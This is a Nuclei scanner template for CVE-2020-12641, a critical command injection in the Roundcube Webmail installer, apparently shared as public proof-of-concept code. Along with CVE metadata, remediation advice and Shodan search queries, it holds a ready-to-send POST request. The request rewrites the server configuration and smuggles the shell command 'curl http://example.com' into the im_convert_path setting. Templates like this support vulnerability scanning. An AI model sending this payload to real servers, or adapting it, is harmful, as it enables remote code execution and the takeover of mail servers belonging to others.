Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
PoC代码[已公开]
id: CVE-2020-12641
info:
name: Roundcube Webmail - Command Injection
author: domwhewell-sage
severity: critical
description: |
Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
impact: |
An attacker can exploit this vulnerability to execute arbitrary commands on the server, potentially leading to a full compromise of the system.
remediation: |
To remediate this vulnerability, update to Roundcube Webmail 1.4.5, 1.3.12 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-12641
- https://github.com/mbadanoiu/CVE-2020-12641
- http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.html
- https://github.com/roundcube/roundcubemail/compare/1.4.3...1.4.4
- https://github.com/roundcube/roundcubemail/releases/tag/1.4.4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-12641
cwe-id: CWE-78
epss-score: 0.93068
epss-percentile: 0.99776
cpe: cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: roundcube
product: webmail
shodan-query:
- http.component:"roundcube"
- cpe:"cpe:2.3:a:roundcube:webmail"
tags: cve,cve2020,roundcube,webmail,intrusive,kev
http:
- method: POST
path:
- "{{BaseURL}}/installer/index.php"
- "{{BaseURL}}/roundcube/installer/index.php"
headers:
Content-Type: application/x-www-form-urlencoded
body: _step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_spellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=localhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=587&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=300&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=enigma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&G&_im_convert_path=curl+http%3a//example.com
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Roundcube Webmail Installer'
- 'The config file was saved successfully'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502204b7cf4c4f60debf055f6bea636648fc73b4a4841778537d40d8fb6c5b4279823022100fb7d3dffb55512cde17f59ea52790ffd423c9eed600051353701421f35c49d20:922c64590222798bb761d5b6d8e72950